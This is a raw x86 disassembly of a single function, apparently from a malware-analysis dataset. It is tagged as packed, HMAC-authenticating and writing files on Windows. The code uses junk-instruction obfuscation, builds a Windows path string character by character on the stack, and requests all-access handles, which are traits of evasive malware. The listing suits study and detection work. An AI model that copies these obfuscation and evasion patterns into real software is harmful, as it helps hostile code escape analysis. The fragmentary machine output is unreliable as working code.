Function at 0x1031cc5f
Capabilities:
Authenticate hmac
Packed with generic packer
Write file on windows

Disassembly:
mov al, 0x25
jmp 0x1040f6f5
push edi
mov edi, dword [0x100c92a0]
jmp 0x101c0b74
push str.Code:_d.
jmp 0x103e4d77
jne 0x10276660
mov eax, dword [ebp - 0x500]
test di, dx
cmc
add dword [ebp - 0x4fc], esi
cmovae esi, ebx
movsx esi, di
inc eax
shrd esi, edx, 0xab
cmp eax, ebx
mov dword [ebp - 0x500], eax
bswap esi
mov esi, eax
jmp 0x1035f954
je 0x1042cb52
push eax
jmp 0x10259ac5
call fcn.10057670
mov eax, dword [0x101134f0]
cmp ax, 0x2611
mov ebx, eax
jmp 0x1042c4fa
mov eax, dword [ebp - 0x18]
mov edx, 0x7215647f
lea edx, [ebp - 0x170]
jmp 0x1039cfe7
jb 0x101745a6
call fcn.100525de
mov edx, dword [ebp - 0x4fc]
xchg ecx, edi
cwde
mov eax, dword [0x10113504]
lea esi, [edx + eax]
mov ecx, 0x20
movsx edi, bp
lea edi, [ebp - 0x4f8]
rep movsd dword es:[edi], dword [esi]
movsx ecx, sp
movzx ecx, di
bswap ecx
mov esi, pe_nt_image_headers32
mov cx, sp
lea ecx, [ebp - 0x4f8]
jmp 0x10269d36
call fcn.10052d52
mov eax, dword [ebp - 0x504]
jmp 0x104092f4
call esi
mov eax, dword [ebp - 0x18]
clc
cmp eax, 0x1a
je 0x103556fa
cmp eax, 0x19
je 0x103556fa
cmp eax, 0x22
je 0x103556fa
cmp eax, 0x36
jmp 0x104440e9
mov byte [ebp - 0x170], 0
jmp 0x1015dce7
push eax
jmp 0x104161e8
lea esi, [eax + ecx]
mov ecx, 0x20
lea edi, [ebp - 0x478]
jmp 0x1041f8c9
mov dword [ebp - 0x504], edi
mov dword [ebp - 0x18], edi
jmp 0x1021b32f
jle 0x10419a62
mov dword [ebp - 0x4fc], edi
jmp 0x103510b9
lea eax, [ebp - 0x378]
jmp 0x10271223
jb 0x101b388e
call fcn.100525de
mov ecx, dword [ebp - 0x4fc]
xchg dx, si
mov di, 0x5fb6
mov edx, dword [0x101134ec]
lea esi, [ecx + edx]
mov cl, 0x7d
movsx edi, ax
mov ecx, 0x10
xchg di, di
movzx edi, cx
jmp 0x1035bed9
jmp 0x10029ffb
push 0xf001f
jmp 0x103912d3
mov esi, 0x40
seta cl
mov ch, dl
jmp 0x103d5a18
xor esi, esi
cmp sp, cx
test dh, 0x2b
sar ebx, 7
cmp ebx, edi
jmp 0x10383cb6
push edi
jmp 0x102318e8
mov dword [ebp - 0x18], 0x16
jmp 0x1035597b
je 0x10207958
push eax
jmp 0x1035119a
call dword [0x100c93c0]
jmp 0x103556ff
call fcn.10021ef0
mov edx, ecx
jmp 0x103b2cb5
sar eax, 7
cmp esi, eax
jmp 0x1017459b
call fcn.10052b46
mov edx, dword [ebp - 0x504]
jmp 0x102c0b80
mov edx, 0x65
not ch
mov ecx, 0x74
mov word [ebp - 0x22], dx
sub ah, 0xfd
cmp cx, 0xba7
mov eax, 0x73
cmc
xor edx, edx
jmp 0x1042e1ee
test eax, eax
setne cl
stc
jmp 0x1038e987
mov dword [ebp - 0x500], edi
jle 0x103c5128
mov dword [ebp - 0x4fc], edi
jmp 0x10298ea2
push eax
jmp 0x1012135f
call 0x101d164b
push 0x1f0001
jmp 0x103dbf64
push 0
push 0x1f0001
call 0x1034261e
test eax, eax
jmp 0x1012a934
je 0x102d0450
mov ecx, dword [ebp - 0x4fc]
cmp dl, 0xc8
dec dx
bsr edx, edx
xor ecx, 0x87654321
mov dh, 0x96
bswap dx
cdq
push ecx
bswap edx
cwd
lea edx, [ebp - 0x2c]
jmp 0x10404ac7
call fcn.100512a4
mov esp, ebp
not ebp
pop ebp
jmp 0x103a77b2
push 0xbb8
jmp 0x1017a279
call dword [0x100c9390]
mov dword [ebp - 0x18], 0x17
push esi
jmp 0x1012135f
jne 0x103ab545
sub eax, edx
shl cl, 0x94
sub ecx, edi
sar eax, 1
movzx cx, al
not ch
push eax
bswap cx
lea ecx, [ebp - 0x378]
jmp 0x1043c2ff
call fcn.10021ef0
push ecx
jmp 0x1024538a
push ecx
push 0
jmp 0x1003822b
push eax
jmp 0x101da493
push eax
jmp 0x103b35b5
jmp 0x10374de2
jl 0x103107e8
xor edi, edi
movzx ecx, ax
mov edx, ebx
lea ecx, [ebp - 0x508]
cdq
mov dx, 0x7a63
cmovle dx, dx
push ecx
mov edx, 0x3ea726a5
lea edx, [ebp - 0x378]
jmp 0x1033ee2c
push eax
jmp 0x102ca39e
call fcn.1002f9f0
lea eax, [ebp - 0x24]
setnp dh
lea edx, [eax + 2]
jmp 0x101b9552
rep movsd dword es:[edi], dword [esi]
cmovae cx, di
jmp 0x101c7ce1
push edx
jmp 0x1017764b
push 1
sets ch
jmp 0x1032671e
mov eax, dword [0x10113520]
and bh, 0x92
mov ebx, eax
sub ebx, dword [0x1011351c]
cmp di, si
cmc
mov dword [ebp - 0x500], edi
sar ebx, 6
clc
test sp, bp
cmp ebx, edi
jmp 0x101ac839
push edx
jmp 0x103d534e
mov word [ebp - 0x20], ax
mov word [ebp - 0x1e], cx
mov word [ebp - 0x1c], dx
jmp 0x1032668f
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x14], 0
jmp 0x103b7373
call 0x103a50f2
push 0x3e8
call esi
cmp dword [0x101111f8], 0
jmp 0x10309974
je 0x1000b986
lea eax, [ebp - 0x378]
jmp 0x103c9e90
call dword [0x100c92a0]
test eax, eax
jne 0x1043d337
mov eax, dword [ebp - 0x500]
clc
cmp si, 0x17a7
add dword [ebp - 0x4fc], esi
inc eax
cmp eax, ebx
jmp 0x103dff9b
je 0x104415e4
mov edx, 0x43
sete ah
cwde
xadd ax, ax
mov word [ebp - 0x6c], dx
cdq
mov edx, 0x57
btr ecx, edx
clc
mov word [ebp - 0x66], dx
shl dh, cl
mov eax, 0x3a
mov word [ebp - 0x6a], ax
rol dl, cl
lahf
mov ecx, 0x5c
sub al, 0x93
sbb ax, 0x6f75
mov word [ebp - 0x68], cx
rcl al, 0x6a
movzx ecx, ax
rol al, cl
mov edx, 0x44
mov word [ebp - 0x60], dx
xor ah, 0x67
bsr eax, edx
mov eax, 0x49
neg dx
mov word [ebp - 0x64], ax
rol ah, cl
adc ecx, edx
sbb ecx, edx
mov ecx, 0x4e
rcr al, 0xe5
mov word [ebp - 0x62], cx
bswap dx
mov ecx, 0x57
cmp di, bp
stc
rcl dl, cl
mov word [ebp - 0x5c], cx
mov word [ebp - 0x56], cx
mov edx, 0x53
shr cl, 0x46
mov word [ebp - 0x5a], dx
or edx, 0x700a06d2
dec dh
mov eax, 0x4f
not cx
mov word [ebp - 0x5e], ax
mov edx, 0x69
dec al
rcr cl, cl
mov word [ebp - 0x54], dx
mov eax, 0x5c
bts cx, cx
shl ch, 0xb2
mov word [ebp - 0x58], ax
add dh, 0xa5
shr ax, 0x51
mov ecx, 0x64
mov word [ebp - 0x50], cx
shl al, cl
mov edx, 0x6f
mov word [ebp - 0x4e], dx
or ch, 0xa2
cdq
adc ax, di
mov eax, 0x6e
sbb dl, ah
adc dh, 0xda
movsx edx, si
mov word [ebp - 0x52], ax
bsr cx, dx
mov ecx, 0x73
sbb dl, 0x93
shrd eax, ebx, 0xe0
inc ax
mov word [ebp - 0x4a], cx
bsf eax, eax
mov edx, 0x55
nop
test eax, esp
mov word [ebp - 0x48], dx
add eax, 0x34585dcb
adc eax, ebp
cwd
mov eax, 0x77
sbb ecx, esp
sub dx, ax
mov word [ebp - 0x4c], ax
mov ecx, 0x70
and eax, ebp
shr dl, 0x7c
shld ax, si, 0x1e
mov word [ebp - 0x44], cx
mov edx, 0x65
add cx, si
mov word [ebp - 0x42], dx
mov eax, 0x64
sal dx, 0x7e
mov word [ebp - 0x46], ax
sub dl, cl
cwd
mov edx, esp
mov ecx, 0x61
mov word [ebp - 0x3e], cx
btr cx, si
sbb cx, cx
mov edx, 0x2e
shr ch, 7
dec al
mov eax, 0x74
adc ecx, esp
test edi, eax
bsr ecx, ebx
mov word [ebp - 0x3c], dx
rcl dh, 0x19
mov ecx, 0x6f
cmovg dx, ax
shl dh, 0xfb
stc
mov word [ebp - 0x40], ax
bts edx, edx
rcr eax, 0xba
bt ax, cx
mov word [ebp - 0x38], cx
test esp, ecx
cdq
adc ecx, ebp
mov edx, 0x67
or ah, 9
mov eax, 0x6c
cmp dx, 0x75b8
push 0x100f0614
lea ecx, [ebp - 0x6c]
test si, 0x3671
mov word [ebp - 0x36], dx
mov word [ebp - 0x3a], ax
xor eax, eax
mov dh, 0xcd
push ecx
lea edx, [ebp - 0x504]
jmp 0x102d4148
push 0x1010fb54
jmp 0x103b2141
call fcn.10021ef0
push ecx
jmp 0x103b00bd
jb 0x1030f226
call fcn.100525de
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [0x10113534]
mov esi, 0x6d2e6445
movzx edi, sp
jmp 0x1019a4fa
mov eax, dword [0x10113538]
test al, 0x54
sub eax, dword [0x10113534]
cmp di, bp
test edi, edi
sar eax, 7
test esp, edx
stc
cmc
cmp dword [ebp - 0x500], eax
jmp 0x1030f21b
call fcn.10051aef
add esp, 4
mov ecx, 0x5d19764a
setne ch
push 7
lea ecx, [ebp - 0x6c]
jmp 0x103fcead
call fcn.10018870
add esp, 8
stc
cmc
cmp byte [0x9dc910], 0
jmp 0x103a9778
push ebp
xchg bp, ax
mov ebp, esp
push 0xffffffffffffffff
push 0x100c79bb
xchg ah, al
bsr eax, esp
mov eax, dword fs:[0]
stc
push eax
movzx eax, sp
mov ax, sp
dec ah
lea esp, [esp - 0x500]
mov eax, dword [0x100fcde0]
test esi, ecx
clc
xor eax, ebp
test cl, 0x15
cmp si, bp
mov dword [ebp - 0x10], eax
stc
test edi, 0x6e307b39
push ebx
push esi
test dh, 0xdf
cmc
cmp sp, 0x7711
push edi
push eax
lea eax, [ebp - 0xc]
test ch, 0x63
test esp, edx
mov dword fs:[0], eax
push 0x103
clc
cmc
xor edi, edi
sete ah
lea eax, [ebp - 0x16f]
push edi
push eax
jmp 0x1017c408
mov eax, dword [0x10113508]
cmc
cmp dx, di
sub eax, dword [0x10113504]
jmp 0x10204611
jne 0x104415e4
cmp byte [0x9dc910], 0
jmp 0x103ea6d7
call fcn.10049970
xor ecx, ecx
jmp 0x10208e36
lea ecx, [ebp - 0x18]
push 4
push ecx
jmp 0x102074e6
mov word [ebp - 0x1e], cx
jmp 0x103556e8
je 0x103556fa
cmp eax, 0x3a
jmp 0x1032287b
call fcn.1031a1b5
add esp, 8
lahf
movzx esi, dx
cwde
popal
push 0
push 0
jmp 0x1030a4e4
push edx
mov dword [ebp - 0x508], 0x104
jmp 0x10369a13
rep movsd dword es:[edi], dword [esi]
mov esi, 0x40
jmp 0x1040e42d
je 0x103556fa
cmp eax, 0x39
jmp 0x1032a545
mov eax, dword [0x10113520]
sub eax, dword [0x1011351c]
sar eax, 6
cmp dword [ebp - 0x500], eax
jmp 0x10390bb3
call ebx
push 0x22
mov dword [ebp - 0x18], 0x22
jmp 0x1002d828
jne 0x103186ec
mov eax, dword [ebp - 0x504]
jmp 0x102a5742
mov word [ebp - 0x1c], dx
call ebx
test eax, eax
jmp 0x1024752d
call 0x103f4ba8
call fcn.10003370
mov ecx, dword [ebp - 0xc]
btr esi, 0xfb
rcr esi, 0xe3
mov dword fs:[0], ecx
neg edi
sub cx, 0x5d42
pop ecx
neg di
rcl esi, 0xf5
pop edi
pop esi
shld ebx, edi, 0xeb
test bl, dh
pop ebx
btr ecx, 0x19
add ch, bh
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
jmp 0x10254214
push edx
jmp 0x1012135f
lea edi, [ebp - 0x3f8]
jmp 0x1034250a
push eax
jmp 0x103186dc
jl 0x10321492
sub edi, edi
call 0x10186c35
push edi
mov eax, 0x4c
sar cx, cl
mov word [ebp - 0x2c], ax
btr eax, esi
push edi
mov edx, edi
inc ch
mov eax, 0x4d
bts cx, di
shrd ecx, ebp, 0x2c
bt edx, edx
push edi
neg cl
mov word [ebp - 0x26], ax
cmp eax, 0x11176b30
mov eax, 0x65
cwd
push edi
ror cx, cl
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x4fc]
adc dx, 0xc33
dec dx
push eax
ror ch, cl
mov ecx, 0x48
test di, 0x6bad
mov edx, 0x32
jmp 0x103f007c
call 0x1037d8ad
test eax, eax
jmp 0x103de582
jmp 0x1012135f
call 0x102da02d
mov ebx, dword [0x100c9390]
stc
cmc
test eax, eax
jmp 0x102ffa17
call 0x10327517
push eax
jmp 0x101e3a5d
sub eax, dword [0x101134ec]
cmc
clc
sar eax, 6
stc
cmp dword [ebp - 0x500], eax
jmp 0x101b3883
jle 0x1035f95c
mov dword [ebp - 0x4fc], edi
jmp 0x1032149b
mov dword [ebp - 0x500], esi
jmp 0x1037ebc0
test ecx, ecx
jmp 0x103e8f5f
jb 0x10390bbe
call fcn.100525de
mov edx, dword [ebp - 0x4fc]
mov edi, 0x575c12ca
mov eax, dword [0x1011351c]
lea esi, [edx + eax]
not ch
mov ecx, 0x10
lea edi, [ebp - 0x3b8]
jmp 0x102bc662
call edi
test eax, eax
jmp 0x101e2d31
push edx
push eax
jmp 0x1032ac62
push 0
jmp 0x1040edc0
ret
je 0x1032ac70
pushal
cdq
jmp 0x10170c5b
push ecx
jmp 0x102f687b
call fcn.100048e0
mov edx, dword [eax]
xchg ch, cl
cmovnp ecx, esp
setg cl
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea eax, [eax + 0x10]
mov dword [ebp - 0x4fc], eax
lea eax, [ebp - 0x378]
mov dword [ebp - 4], 0
lea edx, [eax + 2]
nop
mov cx, word [eax]
clc
lea eax, [eax + 2]
clc
cmc
test cx, cx
jmp 0x1025a0e9
push 0xf001f
jmp 0x1036468d
push 0
jmp 0x103af0b8
push section..text
jmp 0x1039f03f
push edx
jmp 0x10423c29
call dword [0x100c9390]
mov edx, dword [ebp - 0x500]
jmp 0x101db52b
mov word [ebp - 0x34], ax
mov dword [ebp - 0x504], eax
call fcn.10051c48
add esp, 0xc
test eax, eax
jmp 0x10351396
mov eax, dword [0x10113508]
neg ebx
mov ebx, eax
sub ebx, dword [0x10113504]
jmp 0x101cb3d3
push eax
jmp 0x10119a90
mov byte [ebp - 0x18], 0x4b
mov byte [ebp - 0x17], 0x43
mov byte [ebp - 0x16], 0x55
jmp 0x102da94e
lea ecx, [ebp - 0x3b8]
jmp 0x1030ba72
call edi
test eax, eax
jmp 0x10151de0
jne 0x10192ad8
mov eax, dword [ebp - 0x500]
add dword [ebp - 0x4fc], esi
jmp 0x10419a42
mov dword [ebp - 0x500], eax
jmp 0x1029c62a
jle 0x1029c637
mov dword [ebp - 0x4fc], edi
jmp 0x103107ef
lea edx, [ebp - 0x170]
jmp 0x10319922
push 0xf001f
jmp 0x10301618
jne 0x103ab51a
push 0x80004005
jmp 0x103ab515
je 0x102f6880
mov ecx, dword [0x10111698]
jmp 0x103aaf67
mov word [ebp - 0x2a], cx
shl cx, 0x45
rcr cx, 0x58
mov word [ebp - 0x28], dx
bsf cx, di
add edx, esp
and dl, al
push edi
mov ecx, 0x75
mov edx, 0x74
clc
cmp ah, 0xae
mov word [ebp - 0x24], cx
mov word [ebp - 0x22], dx
push edi
sar cl, cl
shld ecx, edi, 0xdb
mov ecx, 0x78
stc
clc
sub edx, edx
push edi
jmp 0x10329527
push ecx
jmp 0x103556f5
push edx
movsx edx, sp
cdq
not dx
push str._s_d
lea edx, [ebp - 0x378]
jmp 0x10411c0b
add esp, 0x14
jmp 0x1035ef8b
lea ecx, [ebp - 0x3f8]
jmp 0x1002b5b3
push 0
call 0x102b5593
mov esi, dword [0x100c93c4]
jmp 0x10257712
call fcn.100047f0
add esp, 0xc
jmp 0x101b0452
call dword [0x100c9390]
mov edx, dword [ebp - 0x500]
mov dword [ebp - 0x18], 0x19
jmp 0x1042fb69
inc eax
clc
cmp eax, ebx
mov dword [ebp - 0x500], eax
jl 0x103510b4
xor edi, edi
add ebx, 0x71244f25
btr bx, 0x5c
sbb ah, 0x8c
mov eax, dword [0x10113538]
shld bx, sp, 0x4f
mov ebx, edx
mov ebx, eax
sub ebx, dword [0x10113534]
cmc
cmp bx, dx
mov dword [ebp - 0x500], edi
test dx, bp
sar ebx, 7
cmp ebx, edi
jmp 0x103e3fef
rep movsd dword es:[edi], dword [esi]
bswap cx
mov esi, pe_nt_image_headers32
setae ch
movzx ecx, cx
movsx ecx, bx
lea ecx, [ebp - 0x478]
jmp 0x101ffaf7
push 0
jmp 0x103e5c63
sub ebx, dword [0x101134ec]
lea esp, [esp + 0xc]
clc
sar ebx, 6
test si, dx
cmc
cmp edi, 0x4d0e72d3
cmp ebx, edi
jmp 0x101a175d
push 0
movzx ecx, bx
xchg ecx, ecx
push 0
push 0
not ch
cmovne ecx, eax
push 0
setge ch
lea ecx, [ebp - 0x4fc]
jmp 0x1026bbfb
mov word [ebp - 0x24], cx
jmp 0x102d6c83
push edx
jmp 0x10367dee
push ecx
mov ch, ch
not cx
movsx ecx, dx
lea ecx, [ebp - 0x4fc]
jmp 0x102b0678
push eax
call dword [0x100c9390]
mov eax, dword [ebp - 0x500]
jmp 0x1043e982
mov dword [ebp - 0x18], 0x1a
jmp 0x1021d40d
push 0
jmp 0x1036affd
je 0x103556fa
cmp eax, 0x38
jmp 0x10349984